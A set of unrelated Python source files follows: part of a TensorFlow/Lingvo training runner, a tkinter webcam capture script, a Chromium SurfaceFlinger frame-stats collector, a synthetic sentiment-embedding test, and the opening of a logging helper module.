with self._graph.as_default(), tf.container(self._container_id):
with self._cluster, tf.device(self._cluster.GetPlacer()):
self._model = self.params.cls(self.params)
self._params = self._model.params
self._model_task = self._model.GetTask(self._model_task_name)
# Note, different graphs are being constructed for different model
# tasks, which may result in different node names being chosen.
# Obviously, variable names has to be stay the same between train and
# decode.
input_batch = (
self._model_task.input_generator.GetPreprocessedInputBatch())
self._dec_output = self._model_task.Decode(input_batch)
self._saver = self._GetSaver()
self._summary_op = tf.summary.merge_all()
self.initialize_tables = tf.tables_initializer()
self._initialize_local_vars = tf.local_variables_initializer()
# No queues are allowed for decoder models.
self.enqueue_ops = tf.get_collection(py_utils.ENQUEUE_OPS)
assert not self.enqueue_ops
# Saves the graph def.
self._WriteToLog(self.params.ToText(), self._decoder_dir, 'params.txt')
if self.params.cluster.task == 0:
tf.train.write_graph(self._graph.as_graph_def(), self._decoder_dir,
'%s.pbtxt' % self._job_name)
def Start(self):
self._RunLoop(self._job_name, self._Loop)
def _Loop(self):
with tf.container(
self._container_id), self._GetSession(inline=False) as sess:
# This initializes local tables
sess.run(self.initialize_tables)
# This initializes local variables.
sess.run(self._initialize_local_vars)
path = None
while True:
path = self._FindNewCheckpoint(path, sess)
if not path or self.DecodeCheckpoint(sess, path):
break
self.DecodeLatestCheckpoint(path)
if self._should_report_metrics:
self._trial.ReportDone()
tf.logging.info('Decoding finished.')
@classmethod
def GetDecodeOutPath(cls, decoder_dir, checkpoint_id):
"""Gets the path to decode out file."""
out_dir = cls._GetTtlDir(decoder_dir, duration='7d')
return os.path.join(out_dir, 'decoder_out_%09d' % checkpoint_id)
def DecodeCheckpoint(self, sess, checkpoint_path):
"""Decodes `samples_per_summary` examples using `checkpoint_path`."""
p = self._model_task.params
samples_per_summary = p.eval.decoder_samples_per_summary
if not samples_per_summary:
samples_per_summary = p.eval.samples_per_summary
self._LoadCheckpointForEval(sess, checkpoint_path)
global_step = sess.run(self._model.global_step)
dec_metrics = self._model_task.CreateDecoderMetrics()
buffered_decode_out = []
num_examples_metric = dec_metrics['num_samples_in_batch']
start_time = time.time()
while num_examples_metric.total_value < samples_per_summary:
tf.logging.info('Fetching dec_output.')
fetch_start = time.time()
run_options = config_pb2.RunOptions(
report_tensor_allocations_upon_oom=False)
if self._summary_op is None:
# No summaries were collected.
dec_out = sess.run(self._dec_output, options=run_options)
else:
dec_out, summary = sess.run([self._dec_output, self._summary_op],
options=run_options)
self._summary_writer.add_summary(summary, global_step)
post_process_start = time.time()
tf.logging.info(
'Done fetching (%f seconds)' % (post_process_start - fetch_start))
decode_out = self._model_task.PostProcessDecodeOut(dec_out, dec_metrics)
if decode_out:
buffered_decode_out.extend(decode_out)
tf.logging.info(
'Total examples done: %d/%d '
'(%f seconds decode postprocess)', num_examples_metric.total_value,
samples_per_summary,
time.time() - post_process_start)
summaries = {k: v.Summary(k) for k, v in six.iteritems(dec_metrics)}
elapsed_secs = time.time() - start_time
example_rate = num_examples_metric.total_value / elapsed_secs
summaries['examples/sec'] = metrics.CreateScalarSummary(
'examples/sec', example_rate)
self._WriteSummaries(
self._summary_writer,
os.path.basename(self._decoder_dir),
global_step,
summaries,
text_filename=os.path.join(self._decoder_dir,
'score-{:08d}.txt'.format(global_step)))
self._ExportMetrics(
decode_checkpoint=global_step,
dec_metrics=dec_metrics,
example_rate=example_rate)
if buffered_decode_out:
# global_step and the checkpoint id from the checkpoint file might be
# different. For consistency of checkpoint filename and decoder_out
# file, use the checkpoint id as derived from the checkpoint filename.
checkpoint_id = _GetCheckpointIdForDecodeOut(checkpoint_path, global_step)
decode_out_path = self.GetDecodeOutPath(self._decoder_dir, checkpoint_id)
self._WriteKeyValuePairs(decode_out_path, buffered_decode_out)
should_stop = global_step >= self.params.train.max_steps
if self._should_report_metrics:
trial_should_stop = self._trial.ReportEvalMeasure(
global_step, dec_metrics, checkpoint_path)
should_stop = should_stop or trial_should_stop
return should_stop
def DecodeLatestCheckpoint(self, last_path=None):
"""Runs decoder on the latest checkpoint."""
with tf.container(self._container_id), self._GetSession() as sess:
# This initializes local tables
sess.run(self.initialize_tables)
# This initializes local variables.
sess.run(self._initialize_local_vars)
path = tf.train.latest_checkpoint(self._train_dir)
if not path:
tf.logging.info('No checkpoint available.')
return
elif path == last_path:
tf.logging.info('Latest checkpoint was already decoded.')
return
self.DecodeCheckpoint(sess, path)
class RunnerManager(object):
"""Helper class for managing runners."""
# This is a hack so these classes can be overridded with internal
# non-public implementations.
inference_graph_exporter = inference_graph_exporter
model_registry = model_registry
Controller = Controller
Trainer = Trainer
TrainerTpu = TrainerTpu
Evaler = Evaler
Decoder = Decoder
def __init__(self, model):
self._model_name = model
def MaybeLaunchTensorFlow(self):
"""Starts TF machinary in this process."""
if FLAGS.run_locally:
return
tf.logging.info('Launching tensorflow.')
target = FLAGS.tf_master
if not target.startswith('localhost'):
# E.g., trainer_client is configured w/ FLAGS.tf_master pointing to
# another job. In that case, start a local server.
job_specs = FLAGS.cluster_spec.split('@')
cluster_spec_dict = {}
for job_spec in job_specs:
# ps_host=worker1:1231,worker2:1234
job_machines = job_spec.split('=')
if len(job_machines) != 2:
raise ValueError('Invalid job specification: %s', job_spec)
cluster_spec_dict[job_machines[0]] = job_machines[1].split(',')
self._tf_server = tf.train.Server(
tf.train.ClusterSpec(cluster_spec_dict),
job_name=FLAGS.job,
task_index=FLAGS.task)
target = self._tf_server.target
if not FLAGS.tf_master:
FLAGS.tf_master = target
with tf.Session(target).as_default():
value = (tf.constant(1.) + tf.constant(1.)).eval()
assert value == 2.0, 'Something is really wrong.'
tf.logging.info('Launched tensorflow.')
def GetParamsForDataset(self, job_name, dataset_name):
"""Returns params for job `job_name` on the dataset `dataset_name`."""
# Get the current cluster and update its params from flags.
cluster = cluster_factory.Current()
self.UpdateClusterParamsFromFlags(cluster.params, job_name)
with cluster_factory.Cluster(cluster.params):
try:
cfg = self.model_registry.GetParams(self._model_name, dataset_name)
except AttributeError as e:
dataset_name_retry = dataset_name.title()
tf.logging.warning(
'Exception configuring dataset %s, retrying as %s: %s',
dataset_name, dataset_name_retry, e)
cfg = self.model_registry.GetParams(self._model_name,
dataset_name_retry)
tf.logging.warning(
'Succeeded after retrying as %s.' % dataset_name_retry)
cfg.cluster = cluster.params
return cfg
def MaybeConfigRunDistributed(self):
"""If given a `FLAGS.cluster_spec`, update flags for running distributed."""
if not FLAGS.cluster_spec:
return
job_specs = FLAGS.cluster_spec.split('@')
cluster_spec_dict = {}
for job_spec in job_specs:
# ps_host=worker1:1231,worker2:1234
job_machines = job_spec.split('=')
if len(job_machines) != 2:
raise ValueError('Invalid job specification: %s', job_spec)
cluster_spec_dict[job_machines[0]] = job_machines[1].split(',')
if FLAGS.job == 'trainer_client':
FLAGS.tf_master = 'grpc://%s' % cluster_spec_dict['worker'][FLAGS.task]
for job in cluster_spec_dict.keys():
if job.startswith('decoder_'):
assert len(job_specs) == 1, 'Decoder jobs must run on their own'
assert ',' not in job_specs[0], 'Only single machine supported'
FLAGS.decoder_job = '/job:%s' % job
FLAGS.decoder_replicas = 1
if job.startswith('evaler_'):
assert len(job_specs) == 1, 'Evaler jobs must run on their own'
assert ',' not in job_specs[0], 'Only single machine supported'
FLAGS.evaler_job = '/job:%s' % job
FLAGS.evaler_replicas = 1
if FLAGS.mode == 'sync' and FLAGS.job in ('controller', 'trainer_client',
'worker'):
FLAGS.worker_job = '/job:worker'
FLAGS.worker_replicas = len(cluster_spec_dict['worker'])
FLAGS.ps_job = '/job:worker'
FLAGS.ps_replicas = FLAGS.worker_replicas
if FLAGS.mode == 'async' and FLAGS.job in ('controller', 'trainer', 'ps'):
FLAGS.worker_job = '/job:trainer'
FLAGS.worker_replicas = len(cluster_spec_dict['trainer'])
FLAGS.ps_job = '/job:ps'
FLAGS.ps_replicas = len(cluster_spec_dict['ps'])
def UpdateClusterParamsFromFlags(self, cluster, job_name):
"""Update `cluster` with a training cluster configuration from flags."""
cluster.mode = FLAGS.mode
cluster.job = job_name
cluster.task = FLAGS.task
cluster.controller.name = FLAGS.controller_job
cluster.controller.gpus_per_replica = FLAGS.controller_gpus
cluster.worker.name = FLAGS.worker_job
cluster.worker.replicas = FLAGS.worker_replicas
cluster.worker.gpus_per_replica = FLAGS.worker_gpus
cluster.worker.tpus_per_replica = FLAGS.worker_tpus
cluster.worker.num_tpu_hosts = FLAGS.worker_num_tpu_hosts
cluster.worker.devices_per_split = FLAGS.worker_split_size
cluster.ps.name = FLAGS.ps_job
cluster.ps.replicas = FLAGS.ps_replicas
cluster.ps.gpus_per_replica = FLAGS.ps_gpus
cluster.input.name = FLAGS.input_job
cluster.input.replicas = FLAGS.input_replicas
cluster.evaler.name = FLAGS.evaler_job
cluster.evaler.replicas = FLAGS.evaler_replicas
cluster.evaler.gpus_per_replica = FLAGS.evaler_gpus
cluster.decoder.name = FLAGS.decoder_job
cluster.decoder.replicas = FLAGS.decoder_replicas
cluster.decoder.gpus_per_replica = FLAGS.decoder_gpus
def _CreateRunner(self, job, model_task_name, logdir, tf_master, trial):
"""Create a runner."""
evaler_job_name_prefix = 'evaler_'
decoder_job_name_prefix = 'decoder_'
tf.logging.info('Job %s start', job)
common_args = (model_task_name, logdir, tf_master, trial)
if job == 'controller':
cfg = self.GetParamsForDataset('controller', 'Train')
return self.Controller(cfg, *common_args)
elif job == 'trainer':
cfg = self.GetParamsForDataset('trainer', 'Train')
return self.Trainer(cfg, *common_args)
elif job == 'trainer_client':
cfg = self.GetParamsForDataset('trainer_client', 'Train')
if py_utils.use_tpu():
return self.TrainerTpu(cfg, *common_args)
else:
return self.Trainer(cfg, *common_args)
elif job.startswith(evaler_job_name_prefix):
dataset_name = job[len(evaler_job_name_prefix):]
cfg = self.GetParamsForDataset('evaler', dataset_name)
return self.Evaler(dataset_name.lower(), cfg, *common_args)
elif job.startswith(decoder_job_name_prefix):
dataset_name = job[len(decoder_job_name_prefix):]
cfg = self.GetParamsForDataset('decoder', dataset_name)
return self.Decoder(dataset_name.lower(), cfg, *common_args)
elif job in ('ps', 'worker', 'input'):
self._tf_server.join()
else:
raise ValueError('job %s is not supported' % job)
def CreateRunners(self, jobs, logdir, trial=base_trial.NoOpTrial()):
"""Creates a list of runners based on `FLAGS.mode`.
Args:
jobs: a list of runner jobs.
logdir: the directory used for logging, usually on CNS.
trial: optional `Trial` object, used for reporting measures and early
stopping.
Returns:
A list of `.BaseRunner`, one per job in `jobs`.
"""
runners = []
for j in jobs:
tf_master = FLAGS.tf_master
# Ensure that decoder or evaler threads do not clobber variables being
# updated by trainer by forcing them to use independent sessions.
if ('trainer' in jobs and
(j.startswith('decoder') or j.startswith('evaler'))):
tf_master = ''
runner = self._CreateRunner(j, FLAGS.model_task_name, logdir, tf_master,
trial)
runners.append(runner)
return runners
def StartRunners(self, runners):
"""Runs `runners` in parallel threads.
Returns when all of them finish.
Args:
runners: a list of `.BaseRunner`.
Returns:
None.
"""
threads = []
tf.logging.info('Starting runners')
for runner in runners:
t = threading.Thread(target=runner.Start)
t.daemon = True
t.start()
threads.append(t)
tf.logging.info('Total num runner.enqueue_ops: %d',
len(runner.enqueue_ops))
for enqueue_op in runner.enqueue_ops:
def StartEnqueue(runner, op):
tf.logging.info('Starting enqueue op %s', op.name)
return lambda: runner.StartEnqueueOp(op)
tq = threading.Thread(target=StartEnqueue(runner, enqueue_op))
tq.start()
threads.append(tq)
tf.logging.info('Waiting for runners to finish...')
for t in threads:
while True:
t.join(1)
if not t.isAlive():
break
tf.logging.info('All runners done.')
def RunTrial(self, job, logdir, trial):
"""A wrapper function for running a trial."""
if job == 'all':
# For async mode: Run controller, trainer, evaler jobs in one process,
# multiple threads.
self.StartRunners(
self.CreateRunners(['controller', 'trainer'], logdir, trial))
evaler = self._CreateRunner('evaler_dev', FLAGS.model_task_name, logdir,
FLAGS.tf_master, trial)
evaler.EvalLatestCheckpoint()
elif job == 'all_sync':
# For sync mode: Run controller, trainer_client, evaler jobs in one
# process, multiple threads.
self.StartRunners(
self.CreateRunners(['controller', 'trainer_client'], logdir, trial))
evaler = self._CreateRunner('evaler_dev', FLAGS.model_task_name, logdir,
FLAGS.tf_master, trial)
evaler.EvalLatestCheckpoint()
else:
# Run each job in separate process/task
# TODO(rpang): add support for running evaler_test and decoder.
self.StartRunners(self.CreateRunners([job], logdir, trial))
def MaybeConfigRunLocally(self):
"""Update flags if configured to run locally."""
if not FLAGS.run_locally:
# Do nothing
return
FLAGS.tf_master = tf.train.Server.create_local_server().target
if not FLAGS.mode:
FLAGS.mode = 'sync'
if not FLAGS.job:
if FLAGS.run_locally == 'tpu':
FLAGS.job = 'trainer_client'
else:
FLAGS.job = 'controller,trainer_client'
FLAGS.task = 0
FLAGS.controller_job = '/job:local'
FLAGS.worker_job = '/job:local'
FLAGS.worker_replicas = 1
if FLAGS.run_locally == 'gpu':
if not FLAGS.worker_gpus:
FLAGS.worker_gpus = 1
else:
FLAGS.worker_gpus = 0
if FLAGS.run_locally == 'tpu':
FLAGS.xla_device = 'tpu'
FLAGS.enable_asserts = False
else:
FLAGS.worker_tpus = 0
if not FLAGS.worker_split_size:
FLAGS.worker_split_size = 1
FLAGS.ps_job = '/job:local'
FLAGS.ps_replicas = 1
FLAGS.ps_gpus = 0
FLAGS.input_job = '/job:local'
FLAGS.input_replicas = 0
FLAGS.evaler_job = '/job:local'
FLAGS.evaler_replicas = 1
if FLAGS.run_locally == 'gpu':
FLAGS.evaler_gpus = 1
else:
FLAGS.evaler_gpus = 0
FLAGS.decoder_job = '/job:local'
FLAGS.decoder_replicas = 1
if FLAGS.run_locally == 'gpu':
FLAGS.decoder_gpus = 1
else:
FLAGS.decoder_gpus = 0
def InspectModel(self):
"""Prints out model analysis for the model."""
p = self.GetParamsForDataset('controller', 'Train')
p.cluster.mode = 'sync'
c = cluster_factory.Cluster(p.cluster)
with tf.Graph().as_default(), c, tf.device(c.GetPlacer()):
analysis, _ = _ModelAnalysis(p.cls(p))
print(analysis)
def InspectDatasets(self):
"""Prints out datasets configured for the model."""
cls = self.model_registry.GetClass(self._model_name)
datasets = []
for name, _ in inspect.getmembers(cls, inspect.ismethod):
if name not in ['GetDatasetParams', 'Model', 'Task'
] and not name.startswith('_'):
datasets += [name]
print(','.join([_.lower() for _ in datasets]))
def InspectDecoder(self):
"""Prints out datasets configured for the decoder."""
cls = self.model_registry.GetClass(self._model_name)
has_decoder = False
if issubclass(cls, base_model_params.SingleTaskModelParams):
has_decoder = cls.Task(
).cls.CreateDecoderMetrics != base_model.BaseTask.CreateDecoderMetrics
else:
for _, task_param in cls.Model().task_params.IterParams():
has_decoder |= (
task_param.cls.CreateDecoderMetrics !=
base_model.BaseTask.CreateDecoderMetrics)
if has_decoder:
# We assume that the proper decoder is implemented.
self.InspectDatasets()
else:
print('')
def WriteInferenceGraph(self):
"""Generates the inference graphs for a given model."""
inference_graph_dir = os.path.join(FLAGS.logdir, 'inference_graphs')
tf.gfile.MakeDirs(inference_graph_dir)
tf.logging.info('Writing inference graphs to dir: %s', inference_graph_dir)
cfg = self.model_registry.GetParams(self._model_name, 'Test')
if (issubclass(cfg.cls, base_model.MultiTaskModel) and
not FLAGS.model_task_name):
tf.logging.info('Cannot write inference graphs for multi-task model '
'when model_task_name is not specified.')
return
try:
filename_prefix = 'inference'
if FLAGS.model_task_name:
filename_prefix = '%s_inference' % FLAGS.model_task_name
filename_prefix = os.path.join(inference_graph_dir, filename_prefix)
# Standard inference graph.
self.inference_graph_exporter.InferenceGraphExporter.Export(
model_cfg=cfg,
model_task_name=FLAGS.model_task_name,
export_path=filename_prefix + '.pbtxt')
# TPU inference graph.
self.inference_graph_exporter.InferenceGraphExporter.Export(
model_cfg=cfg,
model_task_name=FLAGS.model_task_name,
device_options=self.inference_graph_exporter.InferenceDeviceOptions(
device='tpu',
retain_device_placement=False,
var_options='ON_DEVICE',
gen_init_op=True,
dtype_override=None),
export_path=filename_prefix + '_tpu.pbtxt')
except NotImplementedError as e:
tf.logging.error('Cannot write inference graph: %s', e)
def Start(self):
"""Start the process."""
tf.logging.set_verbosity(tf.logging.INFO)
assert self.model_registry.GetClass(
self._model_name), ('Model %s is not found.' % FLAGS.model)
if FLAGS.mode == 'inspect_model':
self.InspectModel()
return
if FLAGS.mode == 'inspect_evaler':
self.InspectDatasets()
return
if FLAGS.mode == 'inspect_decoder':
self.InspectDecoder()
return
if FLAGS.mode == 'write_inference_graph':
self.WriteInferenceGraph()
return
assert FLAGS.mode in ['sync', 'async']
if FLAGS.mode == 'shell':
_StartShell(locals())
return
self.MaybeConfigRunLocally()
self.MaybeConfigRunDistributed()
self.MaybeLaunchTensorFlow()
self.StartRunners(self.CreateRunners(FLAGS.job.split(','), FLAGS.logdir))
def main(unused_argv):
# pylint: disable=g-import-not-at-top
# pylint: disable=unused-variable
from lingvo import model_imports
RunnerManager(FLAGS.model).Start()
if __name__ == '__main__':
tf.app.run(main)
|
photo.py | from multiprocessing import Process, Queue
import cv2
from PIL import ImageTk
from PIL import *
from PIL import Image
import tkinter as tk
def image_capture(queue):
vidFile = cv2.VideoCapture(0)
while True:
flag, frame=vidFile.read()
frame = cv2.cvtColor(frame,cv2.cv.CV_BGR2RGB)
queue.put(frame)
cv2.waitKey(10)
def update_all(root, imagelabel, queue, process, var):
if var.get()==True:
global im
im = queue.get()
a = Image.fromarray(im)
b = ImageTk.PhotoImage(image=a)
imagelabel.configure(image=b)
imagelabel._image_cache = b
root.update()
root.after(0, func=lambda: update_all(root, imagelabel, queue, process, var))
else:
print(var.get())
root.quit()
def playvideo(root, imagelabel, queue, var):
global im
p = Process(target=image_capture, args=(task,))
p.start()
update_all(root, imagelabel, queue, p, var)
root.mainloop()
p.terminate()
if var.get()==False:
try:
cv2.imwrite("capturedFrame.jpg",im[:, :, ::-1])
a = Image.fromarray(im)
imagelabel.configure(image=a)
imagelabel._image_cache = im
except Exception(e):
print(e)
var.set(True)
print('finishing')
if __name__ == '__main__':
try:
task = Queue()
root = tk.Tk()
image_label = tk.Label(master=root)
image_label.grid(column=0, row=0, columnspan=2, rowspan=1)
background = ImageTk.PhotoImage(file='pos.jpg')
image_label['image'] = background
button_frame = tk.Frame(root)
button_frame.grid(column=0, row=1, columnspan=1)
load_button = tk.Button(master=button_frame, text='Load video',command=lambda: playvideo(root, image_label, task, switch))
load_button.grid(column=0, row=0, sticky='ew')
#Click button
switch = tk.BooleanVar(master=root, value=True, name='switch')
stop_button = tk.Button(master=button_frame, text='Click',command=lambda: switch.set(False))
stop_button.grid(column=0, row=1, sticky='ew')
#quit button
quit_button = tk.Button(master=button_frame, text='Quit',command=root.destroy)
quit_button.grid(column=0, row=2, sticky='ew')
root.mainloop()
except Exception(e):
print(e)
|
surface_stats_collector.py | # Copyright 2013 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import Queue
import threading
# Log marker containing SurfaceTexture timestamps.
_SURFACE_TEXTURE_TIMESTAMPS_MESSAGE = 'SurfaceTexture update timestamps'
_SURFACE_TEXTURE_TIMESTAMP_RE = r'\d+'
class SurfaceStatsCollector(object):
"""Collects surface stats for a SurfaceView from the output of SurfaceFlinger.
Args:
device: A DeviceUtils instance.
"""
def __init__(self, device):
self._device = device
self._collector_thread = None
self._surface_before = None
self._get_data_event = None
self._data_queue = None
self._stop_event = None
self._warn_about_empty_data = True
def DisableWarningAboutEmptyData(self):
self._warn_about_empty_data = False
def Start(self):
assert not self._collector_thread
if self._ClearSurfaceFlingerLatencyData():
self._get_data_event = threading.Event()
self._stop_event = threading.Event()
self._data_queue = Queue.Queue()
self._collector_thread = threading.Thread(target=self._CollectorThread)
self._collector_thread.start()
else:
raise Exception('SurfaceFlinger not supported on this device.')
def Stop(self):
assert self._collector_thread
(refresh_period, timestamps) = self._GetDataFromThread()
if self._collector_thread:
self._stop_event.set()
self._collector_thread.join()
self._collector_thread = None
return (refresh_period, timestamps)
def _CollectorThread(self):
last_timestamp = 0
timestamps = []
retries = 0
while not self._stop_event.is_set():
self._get_data_event.wait(1)
try:
refresh_period, new_timestamps = self._GetSurfaceFlingerFrameData()
if refresh_period is None or timestamps is None:
retries += 1
if retries < 3:
continue
if last_timestamp:
# Some data has already been collected, but either the app
# was closed or there's no new data. Signal the main thread and
# wait.
self._data_queue.put((None, None))
self._stop_event.wait()
break
raise Exception('Unable to get surface flinger latency data')
timestamps += [timestamp for timestamp in new_timestamps
if timestamp > last_timestamp]
if len(timestamps):
last_timestamp = timestamps[-1]
if self._get_data_event.is_set():
self._get_data_event.clear()
self._data_queue.put((refresh_period, timestamps))
timestamps = []
except Exception as e:
# On any error, before aborting, put the exception into _data_queue to
# prevent the main thread from waiting at _data_queue.get() infinitely.
self._data_queue.put(e)
raise
def _GetDataFromThread(self):
self._get_data_event.set()
ret = self._data_queue.get()
if isinstance(ret, Exception):
raise ret
return ret
def _ClearSurfaceFlingerLatencyData(self):
"""Clears the SurfaceFlinger latency data.
Returns:
True if SurfaceFlinger latency is supported by the device, otherwise
False.
"""
# The command returns nothing if it is supported, otherwise returns many
# lines of result just like 'dumpsys SurfaceFlinger'.
results = self._device.RunShellCommand(
['dumpsys', 'SurfaceFlinger', '--latency-clear', 'SurfaceView'],
check_return=True)
return not len(results)
def GetSurfaceFlingerPid(self):
try:
# Returns the first matching PID found.
return next(p.pid for p in self._device.ListProcesses('surfaceflinger'))
except StopIteration:
raise Exception('Unable to get surface flinger process id')
def _GetSurfaceViewWindowName(self):
results = self._device.RunShellCommand(
['dumpsys', 'SurfaceFlinger', '--list'], check_return=True)
for window_name in results:
if window_name.startswith('SurfaceView'):
return window_name
return None
def _GetSurfaceFlingerFrameData(self):
"""Returns collected SurfaceFlinger frame timing data.
Returns:
A tuple containing:
- The display's nominal refresh period in milliseconds.
- A list of timestamps signifying frame presentation times in
milliseconds.
The return value may be (None, None) if there was no data collected (for
example, if the app was closed before the collector thread has finished).
"""
# adb shell dumpsys SurfaceFlinger --latency <window name>
# prints some information about the last 128 frames displayed in
# that window.
# The data returned looks like this:
# 16954612
# 7657467895508 7657482691352 7657493499756
# 7657484466553 7657499645964 7657511077881
# 7657500793457 7657516600576 7657527404785
# (...)
#
# The first line is the refresh period (here 16.95 ms), it is followed
# by 128 lines w/ 3 timestamps in nanosecond each:
# A) when the app started to draw
# B) the vsync immediately preceding SF submitting the frame to the h/w
# C) timestamp immediately after SF submitted that frame to the h/w
#
# The difference between the 1st and 3rd timestamp is the frame-latency.
# An interesting data is when the frame latency crosses a refresh period
# boundary, this can be calculated this way:
#
# ceil((C - A) / refresh-period)
#
# (each time the number above changes, we have a "jank").
# If this happens a lot during an animation, the animation appears
# janky, even if it runs at 60 fps in average.
window_name = self._GetSurfaceViewWindowName()
command = ['dumpsys', 'SurfaceFlinger', '--latency']
# Even if we don't find the window name, run the command to get the refresh
# period.
if window_name:
command.append(window_name)
results = self._device.RunShellCommand(command, check_return=True)
if not len(results):
return (None, None)
timestamps = []
nanoseconds_per_millisecond = 1e6
refresh_period = long(results[0]) / nanoseconds_per_millisecond
if not window_name:
return (refresh_period, timestamps)
# If a fence associated with a frame is still pending when we query the
# latency data, SurfaceFlinger gives the frame a timestamp of INT64_MAX.
# Since we only care about completed frames, we will ignore any timestamps
# with this value.
pending_fence_timestamp = (1 << 63) - 1
for line in results[1:]:
fields = line.split()
if len(fields) != 3:
continue
timestamp = long(fields[1])
if timestamp == pending_fence_timestamp:
continue
timestamp /= nanoseconds_per_millisecond
timestamps.append(timestamp)
return (refresh_period, timestamps)
|
synthetic_test.py | from socialsent import constants
from socialsent import util
import polarity_induction_methods
import time
from socialsent import seeds
from socialsent import vocab
import random
import numpy as np
from socialsent import evaluate_methods
from Queue import Empty
from multiprocessing import Process, Queue
from socialsent.representations.representation_factory import create_representation
from socialsent.representations.embedding import Embedding
from sklearn.utils.extmath import randomized_svd
#from scipy.sparse import csr_matrix, vstack
from numpy import vstack
from scipy.stats import logistic
SYNTH_FREQ = 5*10**-5.0
#NEW_POS = ["cheerful", "beautiful", "charming", "pleasant", "sweet", "favourable", "cheery"]
NEW_POS = ["cheerful", "beautiful", "charming", "merry", "pleasing"]
NEW_NEG = ["hideous", "terrible", "dreadful", "worst", "awful"]
#NEW_NEG = ["disgusting", "hideous", "terrible", "unhappy", "nasty", "repulsive", "offensive"]
OLD_POS = NEW_POS
OLD_NEG = NEW_NEG
YEARS = range(1850, 1991, 10)
"""
Runs synthetic test of amelioration and pejoration.
"""
def worker(proc_num, queue, iter):
while True:
time.sleep(random.random()*10)
try:
year = queue.get(block=False)
except Empty:
print proc_num, "Finished"
return
np.random.seed()
positive_seeds, negative_seeds = seeds.hist_seeds()
year = str(year)
print proc_num, "On year", year
words = vocab.pos_words(year, "ADJ")
embed = create_representation("SVD", constants.COHA_EMBEDDINGS + year)
print year, len(words)
embed_words = set(embed.iw)
words = words.intersection(embed_words)
print year, len(words)
# counts = create_representation("Explicit", constants.COHA_COUNTS + year, normalize=False)
# ppmi = create_representation("Explicit", constants.COHA_PPMI + year)
weight = _make_weight(float(year))
print year, weight
embed = embed.get_subembed(words)
test_embed = make_synthetic_data(embed, embed, words, weight, seed_offset=iter)
polarities = evaluate_methods.run_method(positive_seeds, negative_seeds,
test_embed,
method=polarity_induction_methods.random_walk,
beta=0.9, nn=25,
**evaluate_methods.DEFAULT_ARGUMENTS)
util.write_pickle(polarities, constants.POLARITIES + year + '-synth-adj-coha-' + str(iter) + '.pkl')
def _make_weight(year):
scaled = 2*(year-YEARS[0]) / (YEARS[-1] - YEARS[0]) - 1
scaled *= -4
return logistic.cdf(scaled)
def make_synthetic_data(ppmi, counts, word_subset, new_weight, num_synth=10,
old_pos=OLD_POS, new_pos=NEW_POS, old_neg=OLD_NEG, new_neg=NEW_NEG, dim=300, seed_offset=0):
#print new_weight
#ppmi = ppmi.get_subembed(word_subset, restrict_context=False)
amel_vecs = []
print "Sampling positive..."
for i in xrange(num_synth):
amel_vecs.append(_sample_vec2(new_pos, old_neg, counts, new_weight, seed=i+seed_offset))
amel_mat = vstack(amel_vecs)
pejor_vecs = []
print "Sampling negative..."
for i in xrange(num_synth):
pejor_vecs.append(_sample_vec2(old_pos, new_neg, counts, 1-new_weight, seed=i+num_synth+seed_offset))
pejor_mat = vstack(pejor_vecs)
print "Making matrix..."
# ppmi_mat = vstack([ppmi.m, amel_mat, pejor_mat])
u = vstack([counts.m, amel_mat, pejor_mat])
print "SVD on matrix..."
# u, s, v = randomized_svd(ppmi_mat, n_components=dim, n_iter=2)
new_vocab = ppmi.iw
new_vocab.extend(['a-{0:d}'.format(i) for i in range(num_synth)])
new_vocab.extend(['p-{0:d}'.format(i) for i in range(num_synth)])
return Embedding(u, new_vocab)
def _sample_vec2(pos_words, neg_words, counts, pos_weight, seed=1):
vec = np.zeros((counts.m.shape[1],))
np.random.seed(seed)
pos_weights = np.random.dirichlet(np.repeat(0.1, len(pos_words)))
pos_weights = pos_weights / np.sum(pos_weights)
print pos_weights
for i, word in enumerate(pos_words):
sample_vec = pos_weights[i] * pos_weight * counts.represent(word)
vec += sample_vec
neg_weights = np.random.dirichlet(np.repeat(0.1, len(pos_words)))
neg_weights = neg_weights / np.sum(neg_weights)
for i, word in enumerate(neg_words):
sample_vec = neg_weights[i] * (1-pos_weight) * counts.represent(word)
vec += sample_vec
return vec / np.linalg.norm(vec)
def _sample_vec(pos_words, neg_words, counts, pos_weight, seed):
sample_size = counts.m.sum() * SYNTH_FREQ / len(neg_words)
vec = np.zeros((counts.m.shape[1],))
np.random.seed(seed)
pos_weights = np.random.uniform(size=len(pos_words))
pos_weights = pos_weights / np.sum(pos_weights)
print pos_weights
for i, word in enumerate(pos_words):
sample_vec = counts.represent(word)
sample_vec /= float(sample_vec.sum())
sample_vec = pos_weights[i] * pos_weight * np.random.multinomial(sample_size, sample_vec.todense().A[0])
sample_vec = np.clip(sample_vec, 0, sample_size)
if not np.isfinite(sample_vec.sum()):
print "Infinite sample with", word
continue
vec += sample_vec
neg_weights = np.random.uniform(size=len(neg_words))
neg_weights = neg_weights / np.sum(neg_weights)
for i, word in enumerate(neg_words):
sample_vec = counts.represent(word)
sample_vec /= float(sample_vec.sum())
sample_vec = neg_weights[i] * (1-pos_weight) * np.random.multinomial(sample_size, sample_vec.todense().A[0])
sample_vec = np.clip(sample_vec, 0, sample_size)
if not np.isfinite(sample_vec.sum()):
print "Infinite sample with", word
continue
vec += sample_vec
vec = csr_matrix(vec)
new_mat = vstack([counts.m, vec])
new_mat = new_mat / new_mat.sum()
synth_prob = new_mat[-1,:].sum()
for neigh in vec.nonzero()[1]:
val = max(np.log(new_mat[-1,neigh]
/ (synth_prob * new_mat[neigh,:].sum() ** 0.75)),
0)
if np.isfinite(val):
vec[0, neigh] = val
return vec / np.sqrt((vec.multiply(vec).sum()))
def main(iter):
num_procs = 20
queue = Queue()
for year in YEARS:
queue.put(year)
procs = [Process(target=worker, args=[i, queue, iter]) for i in range(num_procs)]
for p in procs:
p.start()
for p in procs:
p.join()
if __name__ == "__main__":
for iter in range(0,50):
main(iter)
|
logging.py | import copy
import logging
import time
from pathlib import Path
from collections import defaultdict, deque
import logging.handlers
import ipywidgets as widgets
from contextlib import contextmanager
import psutil
from . import widgets, paths
from .contextlib import maybeasynccontextmanager
import sys
import traceback
import _thread
import threading
# for re-export
from logging import getLogger
log = getLogger(__name__)
#TODO: This shouldn't be at the top level
logging.basicConfig(
stream=sys.stdout,
level=logging.INFO,
format='%(asctime)s %(levelname)s %(name)s: %(message)s',
datefmt=r'%Y-%m-%d %H:%M:%S')
logging.getLogger('parso').setLevel('WARN') # Jupyter's autocomplete spams the output if this isn't set
log.info('Set log params')
def in_ipython():
try:
__IPYTHON__
return True
